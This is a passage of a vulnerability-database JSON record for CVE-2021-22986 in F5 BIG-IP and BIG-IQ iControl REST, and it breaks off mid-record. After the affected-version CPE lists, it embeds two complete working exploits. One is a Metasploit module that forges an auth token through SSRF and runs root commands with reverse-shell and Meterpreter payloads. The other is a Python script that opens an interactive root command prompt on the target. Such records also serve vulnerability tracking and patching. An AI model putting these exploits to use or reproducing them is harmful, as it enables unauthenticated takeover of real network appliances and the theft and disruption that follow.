[]}, {"vulnerable": true, "cpe23Uri": "cpe:2.3:a:f5:big-ip_local_traffic_manager:13.1.3.6:*:*:*:*:*:*:*", "versionStartIncluding": "13.1.0", "versionEndExcluding": "13.1.3.6", "cpe_name": []}, {"vulnerable": true, "cpe23Uri": "cpe:2.3:a:f5:big-ip_local_traffic_manager:16.0.1.1:*:*:*:*:*:*:*", "versionStartIncluding": "16.0.0", "versionEndExcluding": "16.0.1.1", "cpe_name": []}, {"vulnerable": true, "cpe23Uri": "cpe:2.3:a:f5:big-ip_policy_enforcement_manager:13.1.3.6:*:*:*:*:*:*:*", "versionStartIncluding": "13.1.0", "versionEndExcluding": "13.1.3.6", "cpe_name": []}, {"vulnerable": true, "cpe23Uri": "cpe:2.3:a:f5:big-ip_policy_enforcement_manager:16.0.1.1:*:*:*:*:*:*:*", "versionStartIncluding": "16.0.0", "versionEndExcluding": "16.0.1.1", "cpe_name": []}, {"vulnerable": true, "cpe23Uri": "cpe:2.3:a:f5:big-ip_access_policy_manager:12.1.5.3:*:*:*:*:*:*:*", "versionStartIncluding": "12.1.0", "versionEndExcluding": "12.1.5.3", "cpe_name": []}, {"vulnerable": true, "cpe23Uri": "cpe:2.3:a:f5:big-ip_access_policy_manager:14.1.4:*:*:*:*:*:*:*", "versionStartIncluding": "14.1.0", "versionEndExcluding": "14.1.4", "cpe_name": []}, {"vulnerable": true, "cpe23Uri": "cpe:2.3:a:f5:big-ip_advanced_firewall_manager:12.1.5.3:*:*:*:*:*:*:*", "versionStartIncluding": "12.1.0", "versionEndExcluding": "12.1.5.3", "cpe_name": []}, {"vulnerable": true, "cpe23Uri": "cpe:2.3:a:f5:big-ip_advanced_firewall_manager:13.1.3.6:*:*:*:*:*:*:*", "versionStartIncluding": "13.1.0", "versionEndExcluding": "13.1.3.6", "cpe_name": []}, {"vulnerable": true, "cpe23Uri": "cpe:2.3:a:f5:big-ip_advanced_firewall_manager:14.1.4:*:*:*:*:*:*:*", "versionStartIncluding": "14.1.0", "versionEndExcluding": "14.1.4", "cpe_name": []}, {"vulnerable": true, "cpe23Uri": "cpe:2.3:a:f5:big-ip_advanced_web_application_firewall:12.1.5.3:*:*:*:*:*:*:*", "versionStartIncluding": "12.1.0", "versionEndExcluding": "12.1.5.3", "cpe_name": []}, {"vulnerable": true, "cpe23Uri": "cpe:2.3:a:f5:big-ip_advanced_web_application_firewall:14.1.4:*:*:*:*:*:*:*", "versionStartIncluding": "14.1.0", "versionEndExcluding": "14.1.4", "cpe_name": []}, {"vulnerable": true, "cpe23Uri": "cpe:2.3:a:f5:big-ip_analytics:12.1.5.3:*:*:*:*:*:*:*", "versionStartIncluding": "12.1.0", "versionEndExcluding": "12.1.5.3", "cpe_name": []}, {"vulnerable": true, "cpe23Uri": "cpe:2.3:a:f5:big-ip_analytics:14.1.4:*:*:*:*:*:*:*", "versionStartIncluding": "14.1.0", "versionEndExcluding": "14.1.4", "cpe_name": []}, {"vulnerable": true, "cpe23Uri": "cpe:2.3:a:f5:big-ip_analytics:15.1.2.1:*:*:*:*:*:*:*", "versionStartIncluding": "15.1.0", "versionEndExcluding": "15.1.2.1", "cpe_name": []}, {"vulnerable": true, "cpe23Uri": "cpe:2.3:a:f5:big-ip_application_acceleration_manager:12.1.5.3:*:*:*:*:*:*:*", "versionStartIncluding": "12.1.0", "versionEndExcluding": "12.1.5.3", "cpe_name": []}, {"vulnerable": true, "cpe23Uri": "cpe:2.3:a:f5:big-ip_application_acceleration_manager:14.1.4:*:*:*:*:*:*:*", "versionStartIncluding": "14.1.0", "versionEndExcluding": "14.1.4", "cpe_name": []}, {"vulnerable": true, "cpe23Uri": "cpe:2.3:a:f5:big-ip_application_acceleration_manager:15.1.2.1:*:*:*:*:*:*:*", "versionStartIncluding": "15.1.0", "versionEndExcluding": "15.1.2.1", "cpe_name": []}, {"vulnerable": true, "cpe23Uri": "cpe:2.3:a:f5:big-ip_application_security_manager:12.1.5.3:*:*:*:*:*:*:*", "versionStartIncluding": "12.1.0", "versionEndExcluding": "12.1.5.3", "cpe_name": []}, {"vulnerable": true, "cpe23Uri": "cpe:2.3:a:f5:big-ip_application_security_manager:14.1.4:*:*:*:*:*:*:*", "versionStartIncluding": "14.1.0", "versionEndExcluding": "14.1.4", "cpe_name": []}, {"vulnerable": true, "cpe23Uri": "cpe:2.3:a:f5:big-ip_application_security_manager:15.1.2.1:*:*:*:*:*:*:*", "versionStartIncluding": "15.1.0", "versionEndExcluding": "15.1.2.1", "cpe_name": []}, {"vulnerable": true, "cpe23Uri": "cpe:2.3:a:f5:big-ip_ddos_hybrid_defender:12.1.5.3:*:*:*:*:*:*:*", "versionStartIncluding": "12.1.0", "versionEndExcluding": "12.1.5.3", "cpe_name": []}, {"vulnerable": true, "cpe23Uri": "cpe:2.3:a:f5:big-ip_ddos_hybrid_defender:14.1.4:*:*:*:*:*:*:*", "versionStartIncluding": "14.1.0", "versionEndExcluding": "14.1.4", "cpe_name": []}, {"vulnerable": true, "cpe23Uri": "cpe:2.3:a:f5:big-ip_ddos_hybrid_defender:15.1.2.1:*:*:*:*:*:*:*", "versionStartIncluding": "15.1.0", "versionEndExcluding": "15.1.2.1", "cpe_name": []}, {"vulnerable": true, "cpe23Uri": "cpe:2.3:a:f5:big-ip_domain_name_system:12.1.5.3:*:*:*:*:*:*:*", "versionStartIncluding": "12.1.0", "versionEndExcluding": "12.1.5.3", "cpe_name": []}, {"vulnerable": true, "cpe23Uri": "cpe:2.3:a:f5:big-ip_domain_name_system:14.1.4:*:*:*:*:*:*:*", "versionStartIncluding": "14.1.0", "versionEndExcluding": "14.1.4", "cpe_name": []}, {"vulnerable": true, "cpe23Uri": "cpe:2.3:a:f5:big-ip_domain_name_system:15.1.2.1:*:*:*:*:*:*:*", "versionStartIncluding": "15.1.0", "versionEndExcluding": "15.1.2.1", "cpe_name": []}, {"vulnerable": true, "cpe23Uri": "cpe:2.3:a:f5:big-ip_fraud_protection_service:12.1.5.3:*:*:*:*:*:*:*", "versionStartIncluding": "12.1.0", "versionEndExcluding": "12.1.5.3", "cpe_name": []}, {"vulnerable": true, "cpe23Uri": "cpe:2.3:a:f5:big-ip_fraud_protection_service:13.1.3.6:*:*:*:*:*:*:*", "versionStartIncluding": "13.1.0", "versionEndExcluding": "13.1.3.6", "cpe_name": []}, {"vulnerable": true, "cpe23Uri": "cpe:2.3:a:f5:big-ip_fraud_protection_service:14.1.4:*:*:*:*:*:*:*", "versionStartIncluding": "14.1.0", "versionEndExcluding": "14.1.4", "cpe_name": []}, {"vulnerable": true, "cpe23Uri": "cpe:2.3:a:f5:big-ip_fraud_protection_service:15.1.2.1:*:*:*:*:*:*:*", "versionStartIncluding": "15.1.0", "versionEndExcluding": "15.1.2.1", "cpe_name": []}, {"vulnerable": true, "cpe23Uri": "cpe:2.3:a:f5:big-ip_global_traffic_manager:12.1.5.3:*:*:*:*:*:*:*", "versionStartIncluding": "12.1.0", "versionEndExcluding": "12.1.5.3", "cpe_name": []}, {"vulnerable": true, "cpe23Uri": "cpe:2.3:a:f5:big-ip_global_traffic_manager:14.1.4:*:*:*:*:*:*:*", "versionStartIncluding": "14.1.0", "versionEndExcluding": "14.1.4", "cpe_name": []}, {"vulnerable": true, "cpe23Uri": "cpe:2.3:a:f5:big-ip_global_traffic_manager:15.1.2.1:*:*:*:*:*:*:*", "versionStartIncluding": "15.1.0", "versionEndExcluding": "15.1.2.1", "cpe_name": []}, {"vulnerable": true, "cpe23Uri": "cpe:2.3:a:f5:big-ip_link_controller:12.1.5.3:*:*:*:*:*:*:*", "versionStartIncluding": "12.1.0", "versionEndExcluding": "12.1.5.3", "cpe_name": []}, {"vulnerable": true, "cpe23Uri": "cpe:2.3:a:f5:big-ip_link_controller:14.1.4:*:*:*:*:*:*:*", "versionStartIncluding": "14.1.0", "versionEndExcluding": "14.1.4", "cpe_name": []}, {"vulnerable": true, "cpe23Uri": "cpe:2.3:a:f5:big-ip_link_controller:15.1.2.1:*:*:*:*:*:*:*", "versionStartIncluding": "15.1.0", "versionEndExcluding": "15.1.2.1", "cpe_name": []}, {"vulnerable": true, "cpe23Uri": "cpe:2.3:a:f5:big-ip_local_traffic_manager:12.1.5.3:*:*:*:*:*:*:*", "versionStartIncluding": "12.1.0", "versionEndExcluding": "12.1.5.3", "cpe_name": []}, {"vulnerable": true, "cpe23Uri": "cpe:2.3:a:f5:big-ip_local_traffic_manager:14.1.4:*:*:*:*:*:*:*", "versionStartIncluding": "14.1.0", "versionEndExcluding": "14.1.4", "cpe_name": []}, {"vulnerable": true, "cpe23Uri": "cpe:2.3:a:f5:big-ip_local_traffic_manager:15.1.2.1:*:*:*:*:*:*:*", "versionStartIncluding": "15.1.0", "versionEndExcluding": "15.1.2.1", "cpe_name": []}, {"vulnerable": true, "cpe23Uri": "cpe:2.3:a:f5:big-ip_policy_enforcement_manager:15.1.2.1:*:*:*:*:*:*:*", "versionStartIncluding": "15.1.0", "versionEndExcluding": "15.1.2.1", "cpe_name": []}, {"vulnerable": true, "cpe23Uri": "cpe:2.3:a:f5:big-ip_policy_enforcement_manager:12.1.5.3:*:*:*:*:*:*:*", "versionStartIncluding": "12.1.0", "versionEndExcluding": "12.1.5.3", "cpe_name": []}, {"vulnerable": true, "cpe23Uri": "cpe:2.3:a:f5:big-ip_policy_enforcement_manager:14.1.4:*:*:*:*:*:*:*", "versionStartIncluding": "14.1.0", "versionEndExcluding": "14.1.4", "cpe_name": []}, {"vulnerable": true, "cpe23Uri": "cpe:2.3:a:f5:big-iq_centralized_management:6.1.0:*:*:*:*:*:*:*", "versionStartIncluding": "6.0.0", "versionEndExcluding": "6.1.0", "cpe_name": []}, {"vulnerable": true, "cpe23Uri": "cpe:2.3:a:f5:big-iq_centralized_management:7.0.0.2:*:*:*:*:*:*:*", "versionStartIncluding": "7.0.0", "versionEndExcluding": "7.0.0.2", "cpe_name": []}, {"vulnerable": true, "cpe23Uri": "cpe:2.3:a:f5:big-iq_centralized_management:7.1.0.3:*:*:*:*:*:*:*", "versionStartIncluding": "7.1.0", "versionEndExcluding": "7.1.0.3", "cpe_name": []}, {"vulnerable": true, "cpe23Uri": "cpe:2.3:a:f5:ssl_orchestrator:12.1.5.3:*:*:*:*:*:*:*", "versionStartIncluding": "12.1.0", "versionEndExcluding": "12.1.5.3", "cpe_name": []}, {"vulnerable": true, "cpe23Uri": "cpe:2.3:a:f5:ssl_orchestrator:13.1.3.6:*:*:*:*:*:*:*", "versionStartIncluding": "13.1.0", "versionEndExcluding": "13.1.3.6", "cpe_name": []}, {"vulnerable": true, "cpe23Uri": "cpe:2.3:a:f5:ssl_orchestrator:14.1.4:*:*:*:*:*:*:*", "versionStartIncluding": "14.1.0", "versionEndExcluding": "14.1.4", "cpe_name": []}, {"vulnerable": true, "cpe23Uri": "cpe:2.3:a:f5:ssl_orchestrator:15.1.2.1:*:*:*:*:*:*:*", "versionStartIncluding": "15.1.0", "versionEndExcluding": "15.1.2.1", "cpe_name": []}, {"vulnerable": true, "cpe23Uri": "cpe:2.3:a:f5:ssl_orchestrator:16.0.1.1:*:*:*:*:*:*:*", "versionStartIncluding": "16.0.0", "versionEndExcluding": "16.0.1.1", "cpe_name": []}]}]}, "extraReferences": [{"url": "https://support.f5.com/csp/article/K03009991", "name": "https://support.f5.com/csp/article/K03009991", "refsource": "MISC", "tags": ["Vendor Advisory"]}, {"url": "http://packetstormsecurity.com/files/162059/F5-iControl-Server-Side-Request-Forgery-Remote-Command-Execution.html", "name": "http://packetstormsecurity.com/files/162059/F5-iControl-Server-Side-Request-Forgery-Remote-Command-Execution.html", "refsource": "MISC", "tags": ["Exploit", "Third Party Advisory", "VDB Entry"]}, {"url": "http://packetstormsecurity.com/files/162066/F5-BIG-IP-16.0.x-Remote-Code-Execution.html", "name": "http://packetstormsecurity.com/files/162066/F5-BIG-IP-16.0.x-Remote-Code-Execution.html", "refsource": "MISC", "tags": ["Exploit", "Third Party Advisory", "VDB Entry"]}]}
{"packetstorm": [{"lastseen": "2021-04-01T14:39:17", "description": "", "cvss3": {}, "published": "2021-04-01T00:00:00", "type": "packetstorm", "title": "F5 iControl Server-Side Request Forgery / Remote Command Execution", "bulletinFamily": "exploit", "cvss2": {}, "cvelist": ["CVE-2021-22986"], "modified": "2021-04-01T00:00:00", "id": "PACKETSTORM:162059", "href": "https://packetstormsecurity.com/files/162059/F5-iControl-Server-Side-Request-Forgery-Remote-Command-Execution.html", "sourceData": "`## \n# This module requires Metasploit: https://metasploit.com/download \n# Current source: https://github.com/rapid7/metasploit-framework \n## \n \nclass MetasploitModule < Msf::Exploit::Remote \n \nRank = ExcellentRanking \n \nprepend Msf::Exploit::Remote::AutoCheck \ninclude Msf::Exploit::Remote::HttpClient \ninclude Msf::Exploit::CmdStager \n \ndef initialize(info = {}) \nsuper( \nupdate_info( \ninfo, \n'Name' => 'F5 iControl REST Unauthenticated SSRF Token Generation RCE', \n'Description' => %q{ \nThis module exploits a pre-auth SSRF in the F5 iControl REST API's \n/mgmt/shared/authn/login endpoint to generate an X-F5-Auth-Token that \ncan be used to execute root commands on an affected BIG-IP or BIG-IQ \ndevice. This vulnerability is known as CVE-2021-22986. \n \nCVE-2021-22986 affects the following BIG-IP versions: \n \n* 12.1.0 - 12.1.5 \n* 13.1.0 - 13.1.3 \n* 14.1.0 - 14.1.3 \n* 15.1.0 - 15.1.2 \n* 16.0.0 - 16.0.1 \n \nAnd the following BIG-IQ versions: \n \n* 6.0.0 - 6.1.0 \n* 7.0.0 \n* 7.1.0 \n \nTested against BIG-IP Virtual Edition 16.0.1 in VMware Fusion. \n}, \n'Author' => [ \n'wvu', # Analysis and exploit \n'Rich Warren' # First blood (RCE) and endpoint collaboration \n], \n'References' => [ \n['CVE', '2021-22986'], \n['URL', 'https://support.f5.com/csp/article/K03009991'], \n['URL', 'https://attackerkb.com/assessments/f6b19d24-b24e-4abd-98cf-2988d7424311'], \n['URL', 'https://research.nccgroup.com/2021/03/18/rift-detection-capabilities-for-recent-f5-big-ip-big-iq-icontrol-rest-api-vulnerabilities-cve-2021-22986/'] \n# https://clouddocs.f5.com/products/big-iq/mgmt-api/v7.0.0/ApiReferences/bigiq_public_api_ref/r_auth_login.html \n], \n'DisclosureDate' => '2021-03-10', # Vendor advisory \n'License' => MSF_LICENSE, \n'Platform' => ['unix', 'linux'], \n'Arch' => [ARCH_CMD, ARCH_X86, ARCH_X64], \n'Privileged' => true, \n'Targets' => [ \n[ \n'Unix Command', \n{ \n'Platform' => 'unix', \n'Arch' => ARCH_CMD, \n'Type' => :unix_cmd, \n'DefaultOptions' => { \n'PAYLOAD' => 'cmd/unix/reverse_python_ssl' \n} \n} \n], \n[ \n'Linux Dropper', \n{ \n'Platform' => 'linux', \n'Arch' => [ARCH_X86, ARCH_X64], \n'Type' => :linux_dropper, \n'DefaultOptions' => { \n'CMDSTAGER::FLAVOR' => :bourne, \n'PAYLOAD' => 'linux/x64/meterpreter/reverse_tcp' \n} \n} \n] \n], \n'DefaultTarget' => 0, \n'DefaultOptions' => { \n'SSL' => true \n}, \n'Notes' => { \n'Stability' => [CRASH_SAFE], \n'Reliability' => [REPEATABLE_SESSION], # Only one concurrent session \n'SideEffects' => [ \nIOC_IN_LOGS, # /var/log/restjavad.0.log (rotated) \nACCOUNT_LOCKOUTS, # Unlikely with bigipAuthCookie \nARTIFACTS_ON_DISK # CmdStager \n] \n} \n) \n) \n \nregister_options([ \nOpt::RPORT(443), \nOptString.new('TARGETURI', [true, 'Base path', '/']), \nOptString.new('USERNAME', [true, 'Valid admin username', 'admin']), \nOptString.new('ENDPOINT', [false, 'Custom token generation endpoint']) \n]) \n \nregister_advanced_options([ \nOptFloat.new('CmdExecTimeout', [true, 'Command execution timeout', 3.5]) \n]) \nend \n \ndef username \ndatastore['USERNAME'] \nend \n \ndef user_reference_endpoint \nnormalize_uri(target_uri.path, '/mgmt/shared/authz/users', username) \nend \n \ndef check \ngenerate_token_ssrf ? CheckCode::Vulnerable : CheckCode::Safe \nend \n \ndef exploit \nreturn unless (@token ||= generate_token_ssrf) \n \nprint_status(\"Executing #{target.name} for #{datastore['PAYLOAD']}\") \n \ncase target['Type'] \nwhen :unix_cmd \nexecute_command(payload.encoded) \nwhen :linux_dropper \nexecute_cmdstager \nend \nend \n \ndef generate_token_ssrf \nprint_status('Generating token via SSRF...') \nvprint_status(\"Username: #{username}\") \nvprint_status(\"Endpoint: #{login_reference_endpoint}\") \n \nres = send_request_cgi( \n'method' => 'POST', \n'uri' => normalize_uri(target_uri.path, '/mgmt/shared/authn/login'), \n'ctype' => 'application/json', \n'data' => { \n'username' => username, \n'bigipAuthCookie' => '', \n'authProviderName' => 'local', \n'loginReference' => { \n'link' => \"https://localhost#{login_reference_endpoint}\" \n}, \n'userReference' => { \n'link' => \"https://localhost#{user_reference_endpoint}\" \n} \n}.to_json \n) \n \nunless res&.code == 200 && (@token = res.get_json_document.dig('token', 'token')) \nprint_error('Failed to generate token') \nreturn \nend \n \nprint_good(\"Successfully generated token: #{@token}\") \n@token \nend \n \ndef execute_command(cmd, _opts = {}) \nbash_cmd = \"eval $(echo #{Rex::Text.encode_base64(cmd)} | base64 -d)\" \n \nprint_status(\"Executing command: #{bash_cmd}\") \n \nres = send_request_cgi({ \n'method' => 'POST', \n'uri' => normalize_uri(target_uri.path, '/mgmt/tm/util/bash'), \n'ctype' => 'application/json', \n'headers' => { \n'X-F5-Auth-Token' => @token \n}, \n'data' => { \n'command' => 'run', \n'utilCmdArgs' => \"-c '#{bash_cmd}'\" \n}.to_json \n}, datastore['CmdExecTimeout']) \n \nunless res \nvprint_warning('Command execution timed out') \nreturn \nend \n \nunless res.code == 200 && res.get_json_document['kind'] == 'tm:util:bash:runstate' \nfail_with(Failure::PayloadFailed, 'Failed to execute command') \nend \n \nprint_good('Successfully executed command') \n \nreturn unless (cmd_result = res.get_json_document['commandResult']) \n \nvprint_line(cmd_result) \nend \n \ndef login_reference_endpoint \nif datastore['ENDPOINT'] \nreturn normalize_uri(target_uri.path, datastore['ENDPOINT']) \nend \n \n@token_generation_endpoint ||= token_generation_endpoints.sample \n \nnormalize_uri(target_uri.path, @token_generation_endpoint) \nend \n \n# Usable token generation endpoints between versions 12.1.4 and 16.0.1 \ndef token_generation_endpoints \n%w[ \n/access/file-path-manager/indexing \n/cm/autodeploy/cluster-software-images/indexing \n/cm/autodeploy/qkview/indexing \n/cm/autodeploy/software-images/indexing \n/cm/autodeploy/software-volume-install/indexing \n/cm/system/authn/providers/tmos/1f44a60e-11a7-3c51-a49f-82983026b41b/users/indexing \n/cm/system/authn/providers/tmos/indexing \n/mgmt/shared/analytics/avr-proxy-tasks \n/mgmt/shared/gossip \n/mgmt/shared/gossip-peer-refresher \n/mgmt/shared/identified-devices/config/device-refresh \n/mgmt/shared/save-config \n/mgmt/tm/shared/bigip-failover-state \n/shared/analytics/avr-proxy-tasks \n/shared/analytics/avr-proxy-tasks/indexing \n/shared/analytics/event-aggregation-tasks/indexing \n/shared/analytics/event-analysis-tasks/indexing \n/shared/authn/providers/local/groups/indexing \n/shared/authz/remote-resources/indexing \n/shared/authz/resource-groups/indexing \n/shared/authz/roles/indexing \n/shared/authz/tokens/indexing \n/shared/chassis-framework-upgrades/indexing \n/shared/device-discovery-tasks/indexing \n/shared/device-group-key-pairs/indexing \n/shared/echo/indexing \n/shared/framework-info-tasks/indexing \n/shared/framework-upgrades/indexing \n/shared/gossip \n/shared/gossip-peer-refresher \n/shared/group-task/indexing \n/shared/iapp/blocks/indexing \n/shared/iapp/build-package/indexing \n/shared/iapp/health-prefix-map/indexing \n/shared/iapp/package-management-tasks/indexing \n/shared/iapp/template-loader/indexing \n/shared/identified-devices/config/device-refresh \n/shared/nodejs/loader-path-config/indexing \n/shared/package-deployments/indexing \n/shared/resolver/device-groups/indexing \n/shared/resolver/device-groups/tm-shared-all-big-ips/devices/indexing \n/shared/root-framework-upgrades/indexing \n/shared/rpm-tasks/indexing \n/shared/save-config \n/shared/snapshot-task/indexing \n/shared/snapshot/indexing \n/shared/stats-information/indexing \n/shared/storage/tasks/indexing \n/shared/task-scheduler/scheduler/indexing \n/shared/tmsh-shell/indexing \n/tm/analytics/afm-sweeper/generate-report/indexing \n/tm/analytics/afm-sweeper/report-results/indexing \n/tm/analytics/application-security-anomalies/generate-report/indexing \n/tm/analytics/application-security-anomalies/report-results/indexing \n/tm/analytics/application-security-network/generate-report/indexing \n/tm/analytics/application-security-network/report-results/indexing \n/tm/analytics/application-security/generate-report/indexing \n/tm/analytics/application-security/report-results/indexing \n/tm/analytics/asm-bypass/generate-report/indexing \n/tm/analytics/asm-bypass/report-results/indexing \n/tm/analytics/asm-cpu/generate-report/indexing \n/tm/analytics/asm-cpu/report-results/indexing \n/tm/analytics/asm-memory/generate-report/indexing \n/tm/analytics/asm-memory/report-results/indexing \n/tm/analytics/cpu/generate-report/indexing \n/tm/analytics/cpu/report-results/indexing \n/tm/analytics/disk-info/generate-report/indexing \n/tm/analytics/disk-info/report-results/indexing \n/tm/analytics/dns/generate-report/indexing \n/tm/analytics/dns/report-results/indexing \n/tm/analytics/dos-l3/generate-report/indexing \n/tm/analytics/dos-l3/report-results/indexing \n/tm/analytics/http/generate-report/indexing \n/tm/analytics/http/report-results/indexing \n/tm/analytics/ip-intelligence/generate-report/indexing \n/tm/analytics/ip-intelligence/report-results/indexing \n/tm/analytics/ip-layer/generate-report/indexing \n/tm/analytics/ip-layer/report-results/indexing \n/tm/analytics/lsn-pool/generate-report/indexing \n/tm/analytics/lsn-pool/report-results/indexing \n/tm/analytics/memory/generate-report/indexing \n/tm/analytics/memory/report-results/indexing \n/tm/analytics/network/generate-report/indexing \n/tm/analytics/network/report-results/indexing \n/tm/analytics/pem/generate-report/indexing \n/tm/analytics/pem/report-results/indexing \n/tm/analytics/proc-cpu/generate-report/indexing \n/tm/analytics/proc-cpu/report-results/indexing \n/tm/analytics/protocol-security-http/generate-report/indexing \n/tm/analytics/protocol-security-http/report-results/indexing \n/tm/analytics/protocol-security/generate-report/indexing \n/tm/analytics/protocol-security/report-results/indexing \n/tm/analytics/sip/generate-report/indexing \n/tm/analytics/sip/report-results/indexing \n/tm/analytics/swg-blocked/generate-report/indexing \n/tm/analytics/swg-blocked/report-results/indexing \n/tm/analytics/swg/generate-report/indexing \n/tm/analytics/swg/report-results/indexing \n/tm/analytics/tcp-analytics/generate-report/indexing \n/tm/analytics/tcp-analytics/report-results/indexing \n/tm/analytics/tcp/generate-report/indexing \n/tm/analytics/tcp/report-results/indexing \n/tm/analytics/udp/generate-report/indexing \n/tm/analytics/udp/report-results/indexing \n/tm/analytics/vcmp/generate-report/indexing \n/tm/analytics/vcmp/report-results/indexing \n/tm/analytics/virtual/generate-report/indexing \n/tm/analytics/virtual/report-results/indexing \n/tm/shared/bigip-failover-state \n/tm/shared/sys/backup/indexing \n] \nend \n \nend \n`\n", "sourceHref": "https://packetstormsecurity.com/files/download/162059/f5_icontrol_rest_ssrf_rce.rb.txt", "cvss": {"score": 0.0, "vector": "NONE"}}, {"lastseen": "2021-04-02T14:19:05", "description": "", "cvss3": {}, "published": "2021-04-02T00:00:00", "type": "packetstorm", "title": "F5 BIG-IP 16.0.x Remote Code Execution", "bulletinFamily": "exploit", "cvss2": {}, "cvelist": ["CVE-2021-22986"], "modified": "2021-04-02T00:00:00", "id": "PACKETSTORM:162066", "href": "https://packetstormsecurity.com/files/162066/F5-BIG-IP-16.0.x-Remote-Code-Execution.html", "sourceData": "`# Exploit Title: F5 BIG-IP 16.0.x - iControl REST Remote Code Execution (Unauthenticated) \n# Exploit Author: Al1ex \n# Vendor Homepage: https://www.f5.com/products/big-ip-services \n# Version: 16.0.x before 16.0.1.1, 15.1.x before 15.1.2.1, 14.1.x before 14.1.4, 13.1.x before 13.1.3.6, and 12.1.x before 12.1.5.3 amd BIG-IQ 7.1.0.x before 7.1.0.3 and 7.0.0.x before 7.0.0.2 \n# CVE : CVE-2021-22986 \n \nimport requests \nfrom requests.packages.urllib3.exceptions import InsecureRequestWarning \nrequests.packages.urllib3.disable_warnings(InsecureRequestWarning) \nimport sys \n \n \ndef title(): \nprint(''' \n______ ____ ____ _______ ___ ___ ___ __ ___ ___ ___ ___ __ \n/ |\\ \\ / / | ____| |__ \\ / _ \\ |__ \\ /_ | |__ \\ |__ \\ / _ \\ / _ \\ / / \n| ,----' \\ \\/ / | |__ ______ ) | | | | | ) | | | ______ ) | ) | | (_) | | (_) | / /_ \n| | \\ / | __| |______/ / | | | | / / | | |______/ / / / \\__, | > _ < | '_ \\ \n| `----. \\ / | |____ / /_ | |_| | / /_ | | / /_ / /_ / / | (_) | | (_) | \n\\______| \\__/ |_______| |____| \\___/ |____| |_| |____| |____| /_/ \\___/ \\___/ \n \nAuthor:Al1ex@Heptagram \nGithub:https://github.com/Al1ex \n''') \n \ndef exploit(url): \ntarget_url = url + '/mgmt/shared/authn/login' \ndata = { \n\"bigipAuthCookie\":\"\", \n\"username\":\"admin\", \n\"loginReference\":{\"link\":\"/shared/gossip\"}, \n\"userReference\":{\"link\":\"https://localhost/mgmt/shared/authz/users/admin\"} \n} \nheaders = { \n\"User-Agent\": \"hello-world\", \n\"Content-Type\":\"application/x-www-form-urlencoded\" \n} \nresponse = requests.post(target_url, headers=headers, json=data, verify=False, timeout=15) \nif \"/mgmt/shared/authz/tokens/\" not in response.text: \nprint('(-) Get token fail !!!') \nprint('(*) Tested Method 2:') \nheader_2 = { \n'User-Agent': 'hello-world', \n'Content-Type': 'application/json', \n'X-F5-Auth-Token': '', \n'Authorization': 'Basic YWRtaW46QVNhc1M=' \n} \ndata_2 = { \n\"command\": \"run\", \n\"utilCmdArgs\": \"-c whoami\" \n} \ncheck_url = url + '/mgmt/tm/util/bash' \ntry: \nresponse2 = requests.post(url=check_url, json=data_2, headers=header_2, verify=False, timeout=20) \nif response2.status_code == 200 and 'commandResult' in response2.text: \nwhile True: \ncmd = input(\"(:CMD)> \") \ndata_3 = {\"command\": \"run\", \"utilCmdArgs\": \"-c '%s'\"%(cmd)} \nr = requests.post(url=check_url, json=data_3, headers=header_2, verify=False) \nif r.status_code == 200 and 'commandResult' in r.text: \nprint(r.text.split('commandResult\":\"')[1].split('\"}')[0].replace('\\\\n', '')) \nelse: \nprint('(-) Not vuln...') \nexit(0) \nexcept Exception: \nprint('ERROR Connect') \nprint('(+) Extract token: %s'%(response.text.split('\"selfLink\":\"https://localhost/mgmt/shared/authz/tokens/')[1].split('\"}')[0])) \nwhile True: \ncmd = input(\"(:CMD)> \") \nheaders = { \n\"Content-Type\": \"application/json\", \n\"X-F5-Auth-Token\": \"%s\"%(response.text.split('\"selfLink\":\"https://localhost/mgmt/shared/authz/tokens/')[1].split('\"}')[0]) \n} \ndata_json = { \n\"command\": \"run\", \n\"utilCmdArgs\": \"-c \\'%s\\'\"%(cmd) \n} \nexp_url= url + '/mgmt/tm/util/bash' \nexp_req = requests.post(exp_url, headers=headers, json=data_json, verify=False, timeout=15) \nif exp_req.status_code == 200 and 'commandResult' in exp_req.text: \nprint(exp_req.text.split('commandResult\":\"')[1].split('\"}')[0].replace('\\\\n', '')) \nelse: \nprint('(-) Not vuln...') \nexit(0) \n \nif __name__ == '__main__': \ntitle() \nif(len(sys.argv) < 2): \nprint('[+] USAGE: python3 %s https://<target_url>\\n'%(sys.argv[0])) \nexit(0) \nelse: \nexploit(sys.argv[1]) \n \n`\n", "sourceHref": "https://packetstormsecurity.com/files/download/162066/f5bigip16-exec.txt", "cvss": {"score": 0.0, "vector": "NONE"}}], "githubexploit": [{"lastseen": "2022-03-23T18:30:29", "description": "# CVE-2021-22986-Poc\nThis is a Poc for BIGIP iControl unauth RCE...", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 9.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2021-03-17T05:02:45", "type": "githubexploit", "title": "Exploit for Vulnerability in F5 Big-Ip Access Policy Manager", "bulletinFamily": "exploit", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 10.0, "vectorString": "AV:N/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-22986"], "modified": "2021-12-15T14:41:40", "id": "F6F649DA-905A-5158-B6BD-5A1F1F740C68", "href": "", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}, "privateArea": 1}, {"lastseen": "2022-03-23T18:28:22", "description": "# CVE-2021-22986\n\nThis is a simple script to ...", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 9.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": 